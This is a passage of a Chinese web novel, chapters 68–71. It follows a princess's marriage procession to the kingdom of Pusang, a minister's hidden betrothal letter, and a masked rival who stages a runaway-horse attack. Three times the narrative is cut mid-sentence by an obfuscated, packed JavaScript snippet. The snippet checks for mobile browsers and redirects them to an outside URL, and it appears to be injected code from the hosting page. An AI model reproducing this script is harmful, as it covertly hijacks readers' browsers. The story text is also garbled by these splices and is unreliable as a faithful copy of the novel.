既然衡泱泱如此不识大局,朝穆也不再宠她哄她,任由她自己在那赌气。 毕竟衡泱泱嫁到普桑也十多年了,朝穆对她的性子也摸得差不多了,往日几人小打小闹、争风吃醋他不管,可如今朝颜要和亲,代替的是整个华纪,他必须站出来保护她。 反观被普桑抛出来的衡泱泱,他只能暂放一旁。 他对朝颜纵容,也算是作为父亲,对女儿最后的、唯一的补偿。他不敢求朝颜与他有多深的父女之情,只希望来日在九泉之下能求得妤泉的一丝原宥。 * 一切事毕,朝颜也可以安心离开华纪。 翌日辰时,用完早膳,朝颜便被众人拉到内殿,由宫中掌管结亲之礼的掌事嬷嬷在面上描眉画眼,一刻钟后,朝颜再睁眼,看着铜镜中的人微微出神。 长眉入鬓,面上粉白,眉眼黛黑,薄唇上一点朱红,似冬日芬芳的红梅,唇角两点黄豆般大小的金箔贴在眉眼间,给本就明艳的人增添了一丝妖娆。 此为婚嫁习俗,用来修饰面庞的花靥。 平日里不喜上妆,穿得简便,如今忽然被人侍奉,盛装打扮一番,朝颜有些不习惯,双手捧着羽扇前行,每行一步,动作都格外僵硬不适。 再次出现在众人面前,她已换上由华纪最好的绣娘耗费将近一年而制成的、独一无二的凤冠霞帔。 外侧身披大红香云纱,内里穿着由金丝而制成的凤鸟花卉纹云锦裙裾,肩披长带,风拂纱动,宛若燕尾栩栩如生。 满头青丝被梳成高峨髻,其上戴着顶珠翠金冠,在日光照射下熠熠生辉。颈间一串黄金玛瑙松石链将她本就娇嫩的脖颈衬得如雪般白皙净润,脚下踩着一双镶满珍珠的绣花翘头履。 从上到下,由里到外,无一不精致华美。 百官见此,都忍不住感叹这场送亲宴定是华纪古今最罕见最盛大的场面,光是那件嫁衣,便足足耗费万金。 于金銮殿前行了隆重的跪拜之礼,朝颜告别了国君,便在槐夏的搀扶下上了那座奢华的轿撵。 随着一声号角吹响,吉时到,队伍启程。 漫漫长街,人群涌动,八抬大轿,十里红妆。 几百号人抬着国君为公主准备的嫁妆踏上出城的路,场面极其壮观。所抬木匣中装有诸多不为人所见的奇珍异宝。 光是嫁妆单子上记载的便有几样珍稀的金银珠宝,更有仅王公贵族才能使用的丝绸布品,纯金打造的家具器皿,红床红棺,从生到死,所需用品一应俱全。 大国嫁女,场面极为震撼。 这不仅仅是父亲对女儿的愧疚宠爱,更象征着一国不容侵犯的威严。 68. 和亲之路(二) 帮陈诗报了仇,她便以媵妾的身份跟着队伍一同离开华纪。因是嫁与普桑太子,对于媵妾的身份他们并未有要求,朝颜在了解了诸多适龄女子身份与家中处境后,还带走了几个世家贵女。 鉴于大部分都是愿意离开华纪的,朝穆也不多插手此事,人选便由朝颜全权决定了。 衡泱泱盯着浩浩荡荡的队伍,心中除去对阵仗之大的嫉妒,还有一抹势在必行的狠绝。心道:待你到普桑,定要你好看! 徐徐前行的华丽奢靡的车舆之内,朝颜与陈诗面对面相视而坐。车架平稳前驶,广阔无垠的景象从眼底缓慢划过,二人的心却不在那些美景上,有的只是摇摆不定,满面踌躇。 “此去一别,不知何时再回,或许再也回不来,你真的想清楚了?”朝颜问她陈诗的同时,也是问自己。 那日提出要陈诗以媵妾的身份名正言顺离开时,她答应得很爽快,朝颜亦是怕她出于一时之快,日后会后悔。 哪知陈诗不以为然,不在乎道:“既选择了,便不后悔,殿下救下我这条命,我日后便是殿下的人,殿下为了华纪千里迢迢奔走他乡,牺牲自己的幸福,我身为华纪子民更是不能一个人躲在别处逍遥自在。” “所以我愿与殿下一同分担,一同为华纪尽一份绵薄之力。” 朝颜微微一笑,柔声应下:“好。” 虽是嘴上答应了她,但朝颜心里还计划着待过些时日出了关隘,寻个机会将陈诗送到安全之地。 普桑国那龙潭虎穴她一人闯便好,陈诗心性如此纯良,绝不能卷入那等纷争中。 也不知交代给羽堇的事他办的如何了,舅父总来信问她在华纪是否安康,话里话外透着对她的关心。可朝颜隐约察觉出有时来信的口吻不像是舅父能说出来的言语。 为此她特意写了封回信去验证,验证来信背后之人究竟是谁。 相信不日抵达燕国与华纪边境时,便会有答案。 * 遥远的边境,峮防。 尸身堆积成山,长矛如林散落满地,战场弥漫着黄土硝烟,旗帜随着凉风翩翩起舞,众兵沾着泥土的面上洋溢着淡淡喜悦,是一片厮杀后难得的平静。 历时半个多月,华纪与山匪之争,总算以娄卿旻巧妙的排兵布阵的获得胜利。 山匪因此战失去两万兵马,华纪也损失了一员得力大将与一万战士,山匪本以为战神太子不在便发动战争,不料华纪有娄卿旻这个军师在背后指挥,经此一战也不敢再随意发起战争。 双方各自死伤惨重,便很有默契地退回自己的地盘。 清夜无尘,月色如银,夜已深,峮防边境军营大帐里。 暮商带着信使送来的布帛进了娄卿旻的主帐,“大人,有一封燕国来信。” “燕国?”一侧的少年疑惑接话,想不通娄卿旻为何与燕国人有联系。 话毕娄卿旻意识到什么,接过暮商手中的布帛打开一看,眉头紧紧皱在一起。 “普桑居然如此心急,背后操控之人到底是谁?他想干什么?” 缚若寒也知晓两国盟约互好联姻之事,在娄卿旻身后将信件看了个大概,言语间亦是震惊: “要和亲的公主是朝颜殿下么?据我所知她比我小两岁,如今应是还未行及笄之礼,可他们普桑居然以冲喜为由让殿下提前去普桑小住,还要求日后婚礼一切从简。” “这、这有些不合礼法吧!” 一侧男人沉默听着,不言不语。 缚若寒皱着眉看向娄卿旻,叹气道:“他们这不是在侮辱人吗?王上那样刚毅的性子居然就这样爽快答应了?” “他们也不怕惹怒了太子殿下,届时太子去扒他们一层皮!” 缚若寒自幼便与朝饶一起长大,也是知根知底的玩伴,亦见过他宠爱亲妹的模样,如今普桑国的行为可谓是不给华纪面子,竟要求嫡公主出嫁一切从简。 纵使身为旁观人,缚若寒也快要忍不住给朝饶写信告状。 只不过他不知晓朝饶已经不在人世。 娄卿旻掌控全局,什么都知晓,有棱有角的半张脸隐在阴暗处,眼神情绪晦暗不明。 朝饶已死,日后便少了一个护着朝颜的人,他忆起那日二人在稷粮城分别之前的言语,心间莫名涌上一股伤感。 唯一挚爱的亲人逝去,她便是孤独一人面对这些豺狼虎豹了。 本就是公主的职责,照理说他应该冷眼旁观甚至主动做一个送她和亲的推手,可他如今却莫名生出强烈的不舍,不愿她嫁去那远在千里的龙潭虎穴。 许是二人曾相伴一年之久,已成好友知己,心中难免不舍。 也许是他心中那抹说不清道不明,不敢暴露的情愫,在暗中作祟,拼了命得与理智抗争。 他淡漠的情绪逐渐不似先前平稳,反而快要压制不住躁动起来。 “大人与公主也见过面,想必大人有什么好办法能阻止这场亲事?或者让太子殿下出面?” 他不敢让缚若寒看出自己心中所想与事情的真相,故而寻了为大局着想的、极妙的借口:“殿下重伤未愈,还在别苑养伤,不便出面。稷粮城稻种失窃,粮仓粮食也不富裕,此次与山匪这一仗耗费了不少粮草,王上答应普桑提前和亲于华纪来说也不失为一件好事。” “怎么说也是为我华纪奉献后半辈子的幸福,大人这话说得居然如此冷漠。您如此为华纪大局考虑,在下佩服,但话说起来,婚礼从简,那岂不是要委屈公主殿下了?” “冷漠么……” 娄卿旻喃喃自语。 琉璃双瞳轻轻垂下,羽睫在他眼底投下一片阴影,盖住了他那充满阴霾的神情。 只有冷漠,才能将从前发生的一切都掩饰得彻底。 毕竟她马上要嫁人了。 日后便是天涯两隔,难有再相见之日。 更何况她是君,他是臣,君臣有别,他对她不敢有半分亵渎。 可他来峮防这段时日,每每想到那日稷粮城一别,朝颜那失落的眼神与面上戛然而止的笑,他便会问自己,当真如此冷漠,如此不在意么? 又听闻身侧缚若寒叹了口气,道:“见朝颜殿下的遭遇,我才明白,原来生在王室不是时时刻刻都自由的,不论男女,只要生在王室便需要为华纪谋求利益,这是不可磨灭的事实。” “如此看,我虽比不得殿下尊贵,但我可以做自己喜欢的事,我的婚事亦可自己做主。” 缚若寒一阵感叹过后,便自顾自回了营帐。 天已暗,娄卿旻却未燃烛,整个内帐一片漆黑。 暮商掀开帘布进来时被藏在暗处没动作的男人吓了一跳,迟钝良久,细声开口:“大人,眼下战事已了,峮防暂时安全。您若无事,便回去送殿下一程吧!此次一别,日后恐怕再难相见了。” 暮商见过二人相处时轻松的场面。 念着自家大人孤单多年的可怜事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405654|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又无意偷看到娄卿旻与姜贯和远在皇城的申鹤山大人来往的信件中,他对朝颜殿下的关心。 日日追问吃了何物,用了何物,休息如何,有没有人欺负。 暮商很好奇自家大人为何不直接给殿下写信。 一想到要被以男女有别的理由搪塞,暮商就不再多嘴。 他看破娄卿旻隐藏的心思后,一见到燕国与皇城的来信,便开始替娄卿旻做打算了,快马已经备好,若不眠不休,最多五日也能抵达燕国与普桑边境交界之地。送亲队伍每日至少休憩两次,如此算下来,自家大人定能赶上与殿下最后一面。 怕娄卿旻以不合礼节当理由拒绝,暮商特意道:“就当是替太子殿下送送公主。” 说到此处,暮商忽然惊叹一声,“对了,还有一物,是姜城主夹在布帛中一齐送来的。方才缚将军在,属下便没拿出来,看样子似乎是姜城主单独交给您的东西。” 说罢,暮商从暗袖中取出一个卷得很紧的布帛,弯腰递给男人。 娄卿旻于暗中拂袖接过,抚了抚上面的浮灰,而后染了半根蜡烛,走到火光前轻轻将其展开,映入眼帘的便是一片秀气端正的字体,他认真看着上面的内容后,眉眼顿了顿,手臂停在半空。 此物竟是…… 婚书? 虽已经有几处丝线破败不堪,泛黄沾灰,上面的字却是十分清楚,容易分辨。 娄卿旻看清上面的字迹后,灵魂出窍般失神,愣在原地呆滞许久。 “两姓结亲,一堂缔约。同心同德,宜室宜家。谨以白首之约,书向鸿笺。愿相敬如宾,举案齐眉,特以此证。——颜儿、小旻” 这是一纸婚约,看内容,是他与朝颜的婚约。 而他这二十年却从来没有看到过此物。 娄卿旻一字一句看完信件,居然是娄父娄母与姜贯兄妹四人在他二人还未出世时,被指腹为婚定下的婚约。只因后来娄太傅举家搬迁,元王后姜妤泉因难产而亡,这才导致二人的婚约不了了之。 当时知晓此事的只有姜王后兄妹二人与娄太傅夫妇,如今除去姜城主,其余三人全已不在人世,若是不提起,此事怕是今生今世,永生永世都无人知晓。 这便会成为一个无人在意的秘密,永远埋藏在姜贯的心里。 娄卿旻不禁细想,姜贯,他是否已看穿自己心中那隐秘的感情,或者说他想与自己说什么? 夜里辗转反侧,身心皆十分清醒,没有半分困意。 脑中不断回想着二人去岁一年相处的点点滴滴,他将那缕剑穗拿至眼前,借着一丝月光静静端详、抚摸着。手心逐渐升起一抹温热,枕头底下是二人指腹为婚的约定。 姜贯许是早就看破自己对朝颜的情谊,故而送此物到峮防。 甚至说,眼下机会就摆在他面前,他依旧踌躇不定。 不知过了多久,他终于鼓起勇气下定决心。 月上中天,已至深夜,燥气更重。 缚若寒梦中惊醒,他穿上鞋袜长袍,正要出门透透气,不料刚出来便见娄卿旻驾着一匹快马,直冲冲离开了帐营。 缚若寒看得一头雾水,忙不迭找到娄卿旻帐营,刚行至帐前边瞥见暮商慢悠悠出来,他连忙上前追问:“战事刚刚结束,少傅大人劳累许久,不在营地休息几日,如此慌张骑马出营地是要去做什么?” “送别故人。小将军莫要多问,日后便知晓了。” “……” 69. 和亲之路(二) 海棠未雨,梨花先雪,一半春休,万物悄然生发又随风消散。 历时两天日夜,娄卿旻总算在临近两国边界处赶上华纪浩荡的送亲队伍。他昼夜不歇衣衫不改连着赶路,生怕来晚了见不到想见之人。 胸膛中那颗沉寂许久的心,在见到姜贯送来的信后,便完完全全被那一纸婚书占据填满,早已忘记什么礼节规矩。 他生平第一次,也是唯一一次,想要勇敢,想要自由舒心地行事,更想要抓住世俗的欲望放纵一把,不做众人口中什么高高在上、无欲无求的正人君子,而是做个极为普通的男子,去追逐自己想要的。 此刻,湘湖边上,柳絮树下,一红一蓝两道身影纠缠于风中。 日光下的倒影不同于二人离得较远的身躯,纤细的身影被拉长,离远看像是紧紧依偎在一处,纠缠不休,难舍难分。 看着面前男人额上的薄汗,见到他略失礼数的模样,又知晓他是因着急赶来送自己故而不在意那些礼仪,朝颜心中涌上一抹淡淡的、无法言说的情绪,若说心底半分不感动那是假的。 可感动之余,却又不知该如何言表。 原以为二人再见,或许会坐在一处,说许多话语。 可真正再见之日,满腔言语却都被吞咽入腹,只剩清浅的神情。 朝颜繁琐的嫁衣迎着微风翩翩起舞,裙摆被托抚着,身上如释重负,明显轻快几分。 她望着眼前因风而泛起波澜的湖水,脑袋止不住地回忆二人先前相处的点滴,眼神闪烁,语气惆怅:“那日稷粮城匆匆一别,本以为大人不会再来送行。” 娄卿旻听到此话便迫不及待地紧跟着解释:“那时峮防危机,战况紧急,我也是逼不得已才会临时毁约。” “今日来此,是想弥补……” 朝颜挑眉,望向他问:“何来弥补之说?” 话毕,娄卿旻像是被戳穿心事般,本就紧张的神情忽然变得更加彷徨失措,但他却故意装作无谓模样,大道理说得十分正经:“君子一言许人,千金不易。” “况且我曾答应过殿下的,本就不该食言。” 他心间一紧,下决心般直勾勾盯着身侧少女,语气诚挚:“如今,臣来兑现当日约定,不知殿下可还需要臣这个……迟来的送亲使者。” 朝颜闻言,抬眸对上男人日光下发亮的眸子,迟钝片刻后莞尔一笑,拉远二人之间的距离:“大人是不可多得的华纪功臣,又是战场上厉害的军师,有你护驾,我求之不得。” 听着朝颜明显疏远的话语,娄卿旻胸间泛闷,莫名生出一种不好的预感,到嘴解释的话却又咽回去。 在旁人眼中他总是识大局,知体面,可他这次想放纵一次,于是又在须臾间做了决定,镇定地说出口:“其实……” “我今日来此是想说……” “若公主不愿,我可以带你走,帮你逆了这所谓天命。” 几句话如同闷雷,敲在朝颜平淡的心间,让她惊了一颤,生怕自己听错什么,但眼前人姿态认真,语气虔诚,实在是看不出半点试探,字字句句全是肺腑之言。 朝颜鼻头一酸,眼眶微微泛起一阵雾气,她借着风吹来的沙土假装迷了眼,抚过眼角快要溢出的泪,而后背过身子不再给男子半个眼神。 时间仿佛在那瞬间凝滞,万物也不再有生命力。 整个世间仿佛只剩下二人。 许久后,朝颜才背对着他开口:“若是大人早些在稷粮城说此话,或许我会脑袋一热,直接答应……” 可如今一切为时已晚,开弓没有回头箭,她已答应朝穆和亲,又怎能反悔? 不过娄卿旻竟违背自己性子,为她说出这句大逆不道的话是朝颜始料未及的,她未曾想到娄卿旻那样冷情的人,也会有如此荒唐冲动的一面。 她想知道是为什么。 为何他忽然转了性子? 又为何会说这样的话? 得到答案,娄卿旻故作宁静,心中很是失落,可又不能言说。 片刻后,他垂下眼睫,后退一步向朝颜弯腰作揖,“既如此,臣便代替太子殿下一路护送公主前往普桑和亲。” 虽未得到想要的答案,但娄卿旻还是不后悔说出方才的话。 若再来一次,他还是会这样做。 “娄卿旻。”她为数不多地又一次唤了他的名字,“坦白说,你能专程来送我,我很高兴。” 男人在被亲切唤名讳的欣喜中与对她后面所说话的恐惧中被反复鞭挞,他想打断亦或者拦住她的嘴,不过他终究还是不敢,而后便听她又道: “只是我已经想清楚了,该我面对的我再也不会逃避了。正如大人所言,君子无一朝之患,我身为公主,需为大局考虑,须做于国于家都好的事。” “殿下……”娄卿旻轻声唤她,眸子直勾勾地盯着眼前大红色的纤瘦背影,眼神充斥着小心翼翼的关心爱护,想安慰但又不知该如何说。 听完朝颜如此识大体的言论,知晓她是真的下定决心,可他却有些后悔了。 恻隐之心在暗中蠢蠢欲动,那日燕国送来的婚书上的内容他近乎快要倒背如流,袖中布帛快要坠落,他冷不丁背对朝颜专程向里塞了一下,到嘴边的话还是未能说出口。 又或许是,他不敢,也不能道出。 如今朝颜好不容易从不愿到自愿,劝说自己去和亲,他更不能在此时影响她的心神,为她添乱。 也或许是他恐惧将事情说出,又遭到朝颜的拒绝,到那时他便再也没有半点可以遐想的东西了。 琉璃般的瞳孔闪过一丝无奈与悲伤,他垂眸,盯着朝颜腰下悬着的香囊,强烈按住自己慌张失措的心。 婚约之事,也不必让她知晓了。 “同处一年之久,其实大人也如兄长、舅父一般关心我的对吧?”朝颜有意转移话题,有意将二人的关系拉回眼前。 一席话毕,四周静默。 在朝颜看不见的地方,男人眼底划过一抹隐忍的暗色,随后无奈接话:“臣与太子殿下自幼便一起长大,殿下与公主的兄妹之情令人艳羡,臣自是与殿下同心,一齐将公主当作独一无二、无可比拟的妹妹。” “日后也会像殿下与姜城主那样,待公主如亲妹般关心爱护。” 朝颜眼底闪过一种似笑非笑的神情,表面勾唇:“那便够了。” 其实在华纪收到的几封舅父来信中,她早已看出其中有些话的口吻出自娄卿旻。 眼下自是明明白白确认了。 关心自己在华纪有无受委屈的,就是他。 只是,眼下一切都来得不是时候,他二人亦是绝无可能。 * 重新回到车舆,槐夏安分守己地在一侧坐着,盯着发愣的朝颜看了许久,见她终于回神,才打断她的思虑,主动活络氛围,“殿下,马上便要出华纪国土了,也不知普桑国的人性子如何,公主要嫁的太子殿下是否好相与。” “莫要害怕,有我在。”朝颜轻声安慰槐夏。 好看的眉眼顺着金丝帘布向外探去,男人身骑骏马,独留下一道挺拔似青竹的背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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闻声,轿中的槐夏替朝颜缓缓撩起帘布,朝颜便透着那层薄丝纱对上男子的面容,而后听他恭敬道:“公主殿下,臣乃太子殿下贴身暗卫,名为暗青,特奉太子殿下王命来迎接公主进城。” “替本殿多谢太子好意。”朝颜语气轻柔,带着浅浅的威慑。 轿外的暗青虽看不清公主的面容,却能从她的声音与薄纱下隐约的轮廓间发现女子的美与娇。 也难怪自家殿下从前见过朝颜公主一面,自此便一发不可收拾地爱上她,日夜惦记着,不过看眼下,这位公主也不是个任人拿捏的小女子,日后定有自家主子的苦吃了。 不过太子应是十分欣喜的,或许还会演变成一个愿打一个愿挨。 说到底此次还是多亏了白率先生,圆了困扰殿下多年的心愿,回去定要让殿下好好款待先生。 暗青见朝颜一面心中便乱七八糟想了许多,殊不知轿中的朝颜也是心事重重,所思所想全然不在暗青身上。 重生一年之久,原本朝颜已经近乎要将前世之事忘得差不多,但心病又怎会好得利落? 离普桑愈近,她做噩梦的次数也越来越多,还次次都与那个人有关。 虽有娄卿旻坐镇,但她还是隐隐感觉不安。 一想到那日在稷粮城见到身影与卫介的来历,朝颜便觉得那人真的是他。 可朝颜又不甚明白,重活一次为何她所嫁之人变了? 她甚至开始怀疑,或许前世她所嫁之人也是普桑国太子,只是那时恰好遇上衡无倡谋反篡位,故而她寻到普桑,只能嫁与衡无倡。 若真是这般,她也许可以助太子衡宿一把,免得让衡无倡那个无情无义之人登上王位。 她这般想得出神,身侧猛地传来一声急促的呼叫:“殿下小心!” 70. 和亲之路(三) “殿下小心!” 槐夏时刻注意着轿外的一举一动,她话音刚落,远处忽然一匹马受了刺激般发狂,直直冲着朝颜的车舆而来,好似有目的般。 下一刻,那匹疯马直接撞上拉着朝颜车舆的马,骏马受惊,刹时变烈,抬蹄奔走。 事发突然,其余众人还未来得及反应,马夫已经慌乱地扯着缰绳四处无方向地躲闪,朝颜一手抓紧侧边的窗棂,身子却控制不住向后仰去,贵重繁琐的金饰随着马车摇晃冷不丁甩掉了几个,她顾不上仪态,也没时间去捡,整个人直接撞到车厢后方的栏板处。 剧烈的痛从后背传入前胸,朝颜紧紧皱眉,车架依旧晃动不停,马夫已经趁机跳车,车上只余她二人。 朝颜费劲爬起来,纤细手指重新抓回方才的窗棂处,缓慢跪坐在地板上。 抬眼去寻槐夏,便见她整个人已经扑倒在车舆内的地毯上,发髻微乱,帷帽纱布亦是不知落到何处,额头磕在软垫上,破了皮留下一道红痕。 烈马狂奔,将车队众人甩得很远。 众人也在坚持不懈追逐着她。 朝颜想起前世曾见过的地舆图,猛地心惊胆颤,因为她知道前面不远的几里开外便是悬崖峭壁。 烈马若再控制不住便会带她一起掉下悬崖,摔个粉身碎骨。 重来一世,她的使命还未完成。 她绝不能丧命于此! 她掀开帘布向外探头,想寻个合适时机拉槐夏一同跳车。 左右不过死伤,与其任由马带她跳崖摔死,不如主动寻一线生机。 就在她左右思量的瞬间,马儿又行了几里地。 眼看就快要抵达悬崖边上,千钧一发之际,朝颜透过车后端翩翩飞起的帘布与躲在混乱人群中的一道最近的带着面具的玄衣身影对上眼神。 只一瞬,对方猛地清醒后,提速策马奔腾而来,眨眼便追上发狂的烈马,直接一个蹬腿便飞身到烈马上去。铠甲下的手臂精实而有力,用尽力气拉紧缰绳,将其掉头转到旁边的空旷平原上。 队伍最前端的娄卿旻与羽堇离她最远,此时也迅速赶来。一切还来得及,他们配合得极有默契,一人驱车安慰好受惊的马儿,一人冲入轿撵将朝颜安抚着救下。 总算得救,朝颜心中松了口气,腹中却有些反胃。 槐夏也被折磨得变成一副苦瓜模样,眉头紧锁,心跳极快。 动乱平息后,羽堇特意将车舆驾到安全之地。 朝颜被槐夏搀扶着下车平复受惊的心,却在混乱的人群中瞥了方才驯服疯马的男人一眼,拖着衣裙径直走上前去。 普桑领头之人暗青驾马姗姗来迟,不过他却在后面将方才发生的事都目睹得一清二楚。 见朝颜站在男子不远处,他便直接下马走到男子面前,随手抽出锋利的长剑,利刃处直逼男人脖颈,立在只要他轻轻动手便能将人杀掉的距离。 在普桑的地界出了此事,他有些愧疚红脸,逮住人便立威,严肃审问:“本大人可从未见过你这等身手利落之人。救下公主是不假,但我见你这鬼鬼祟祟,带个面具,不知是想作甚?” 男子不语,直接跪地行礼,垂首低眉。 “赶快将面具摘下来,小心扰了公主心情!”暗青话语不耐烦,明显没什么耐心。 朝颜见二人间互动如此生疏,便知眼前男子有意隐瞒身份。 她想起方才混乱中见到的熟悉眸光,而后又透过帷帽的薄纱盯着男子的眉眼看了半刻,心下一惊,忽然意识到什么,忙后退了一步。 脚步比脑子快一步,她才后知后觉自己失礼了,差点暴露。 思及此她强装镇定,转而摇头开口:“不必了,暗青大人,莫要为难本殿的救命恩人,既然他如此装扮自有他的道理,许是有什么难言之隐。万一揭了恩人的短,倒显得本公主不懂得回报。” “罢了,大人也莫要逼迫他,暂且让他退下吧。” 暗青听完此话顿时不知所以,见朝颜虽出声解围,神情却是十分冷漠,话语间的感激之意貌似还不如嘲讽来得多。 以为朝颜是看脸识人,心中对她的印象不知不觉降了几分。 好在朝颜没出事,他便也不再追究。 …… 而这方的朝颜之所以会如此行事,归根结底是因为眼前人化成灰她都识得。 这正是她前世曾深爱过的“夫婿”。 所以遮面摘或不摘,没有分别。 虽说或早或晚她都会见到他,但她不曾想到会以眼前这样的方式与他相见。 眼下他不在普桑待着,竟与迎亲车架随行,不知他又在谋划什么。 与此同时,跪在地下的男人紧紧将头垂到低处,不让暗青直视自己的面庞。这一幕落在暗青眼中,像是一个害怕极了的胆小鬼在匍匐垂拜。 暗青翻了个白眼,朝男人单腿跪地的膝下踢了颗碎石,举止轻浮,语气十分不耐烦:“滚吧,离殿下的车舆远点,免得污了殿下的眼!” 男人跪地接话:“是。”而后飞速离开。 直至目送男子越走越远归了队伍,朝颜被槐夏搀扶着回轿撵上,默默陷入深思。 若在平常人眼中,定会觉得方才只是一匹马忽然发疯,实属天灾。可落到朝颜这里,又加上衡无倡的出现,她不得不细想回想所发生的一切。 “普桑骑兵虽不及北狄铁骑训练有素,杀伐果断,但好歹也是个大国,定有专人驯马。既有专门驯马的人,那迎亲这等事定不会派疯马前来。除非,是有人故意为之。”她坐在轿撵上喃喃自语,眸中不自觉闪过一丝寒凉。 槐夏闻言瞪大双眼,压低声音追问:“可那背后之人究竟是谁呢?殿下从未与普桑国人相处过,还未嫁过去,他们便如此迫不及待要动手了么?” 实在是奇怪得紧。 又或者说,普桑表面看着风平浪静一片祥和,背地或许与燕国类似,充满内乱与勾心斗角的权钱争霸。 其中一些人,生怕华纪公主的到来为太子登位增添助力。 不论如何都要调查清楚此事,免得被人害了都不知凶手是谁。 * 日暮降临,队伍加快进程,最终歇息在最近的一处驿馆中。 与此同时,两个身着玄衣的高挑男子伫立在林木中,盯着驿馆燃着烛火的窗子出神。 “主上,您就真的这么放任朝颜公主平安抵达普桑与太子殿下和亲?” 两国联姻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405656|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,娶的还是嫡公主,届时衡宿的太子之位将更加坚不可摧,那主上这些年苦心隐忍都会功亏一篑。 暗夜云雾笼罩林间,不远处传来一阵诡异的鸟叫声,听后整个人浑身一激灵。 卫介觉得耳熟,想起幼时与母亲在稷粮城一起生活时听过类似的声音,貌似是雕鸮夜间觅食发出的动静。 林子透出阵阵阴风,气温又降了许多,加上薄雾的漫延,夜里的林间竟生出一丝薄薄的可怖。 身侧男子戴着面具,一袭玄衣身影蒙在薄雾中,若隐若现,十分诡谲。 “主上今日差点就在暗青面前暴露了,不知可是因见到朝颜公主而心软了?”卫介实在想不通原本无畏无惧又无情的男子白日里为何突然出手救人。 虽说他感激朝颜救下自己母亲,但他还是会忠于在稷粮城救自己一命的主上。 不料男人都不加思考,直接摇头否认,“不。” “或许我们可换个一箭双雕的法子。”他狭长的眸子紧紧盯着远处,回忆起白日里发生的事。 不知为何,在见到那女子的容貌时,他的心猛然抽动了一瞬,似击鼓般猛烈,又像蚂蚁在啃食。 他的潜意识亦在告诉他,他不能杀她。 若不然,白日里他便可借疯马之事,将车队闹得天翻地覆,再引疯马撞树跳崖,让华纪公主死在和亲路上。届时两国动乱,他趁机谋划,也不会有人能怀疑到他头上。 可白日里那阵猛烈的心痛,来得突兀,却又十分真实,与他幼年失去挚爱的母亲一般,让他感觉痛不欲生。 在那个瞬间,他便后悔了,加快速度救下那公主。 从白日到现在,他一直努力回想,前十多年从未见过她,为何会有似曾相识的感觉? 还有个让他更疑惑的便是,那时他的余光分明看见公主盯着他看了片刻,立刻后退了半步,或许暗青那个马虎的看不出来,他可是将朝颜的反应尽收眼底。 她怕他? 确切地说,她曾见过他么? 若不然也不会有那样的反应。 那样猝不及防、不受控制的后退,让他开始怀疑自己身上是否有令人恐惧的东西。 可这些疑问都要留在肚子里,毕竟他没有任何适当的理由去追问她。 此次计划失败他始料未及。 但他也不会放弃自己的谋划,他要寻一个一箭双雕的时机再做打算。 经此一闹华纪那几个人定会十分警惕保护公主,回国路上他不便再行动,避免暗青再生疑,他只能提前启程回去。 此次机会倒是有些可惜了。 待入了普桑国国土,回到鹤扬城,他便可借旁人之手做事。 白日里华纪为首那位身着蓝衣的男子倒是有点意思,处在暗处静静观察众人,自己差点就被他看出破绽,还好这位公主是个脑子不灵光的,只顾着感激自己这个救命恩人,若不然今日还真的要折在暗青那个小人手上。 一想到今日跪在暗青脚下他便心间作呕,浑身不舒适。 但成大事者就要忍旁人所不能忍,现今受过的这些耻辱,他早晚都会让他们一一还回来。 而眼下,毁了衡宿与华纪公主的婚约才是重中之重。 71. 夺妻之争(一) 休整一夜再启程,众人精气神已经恢复大半,生龙活虎。 原本华纪使者是不被允许进入普桑国的,但念在普桑举行丧事上,娄卿旻便借着拜别太后的缘由,名正言顺地与新嫁娘入了普桑国最中心的繁华都城——鹤扬城。 车队抵达鹤扬城时,已是申时。 浩大声势的车队近乎吸引了全城百姓的目光。原本麻木的众人在见到这座华贵靡丽的车轿时,纷纷驻足盯着看。銮铃随风响动,薄纱微微掀起,轿中曼妙的身姿若隐若现,将众人的好奇心全部拉去。 他们大声欢呼着,推搡着站到道路最前端,想要一睹华纪公主的芳容。 只可惜,全都落了空。 鹤扬城与燕国、华纪的王城有天差地别。 不同于中原其余二国的规矩与压抑,普桑国到处可见杆栏式小阁楼,一层作为支撑,众人都只住第二层,倒是比华纪与燕国那样死板的建筑显得更随性、更自由。 普桑国周围林木茂盛,气候湿润多雨,鹤扬城的建筑大多数由木材而制成。 黑色与朱红搭配在一处,尽显国之气派宏伟,给人一种阴阳调和,互相搭配融合的感觉。 新娘新郎行合卺之礼前,新嫁娘与媵妾们原本是要被安排在城中驿馆避嫌的,可此次是普桑专程将和亲提前,朝颜便被安排到了王宫偏殿,最近的宫殿便是太子所居东宫,侍人带了王命,令朝颜与太子婚前好好培养感情。 而除她之外,其余送亲使者只能住在城中驿馆。 朝颜被迫与娄卿旻羽堇等人分开。 好在还有陈诗几位媵妾,便不那么孤独。 朝颜一路走过前世曾住过许久的宫殿,心中宁静的湖水渐渐泛起涟漪,往事浮现在眼前,再回想那时经历过的苦难与悲痛,发觉已经淡忘许多。 既然已经无法改变即将到来的日子,朝颜便直接迎难而上,主动接招。 可她并不认为眼前平静如常的王宫是她日后的家。 相反她会打起十二分精神,一步步走上她该走的路,必要时拉母国华纪一把。 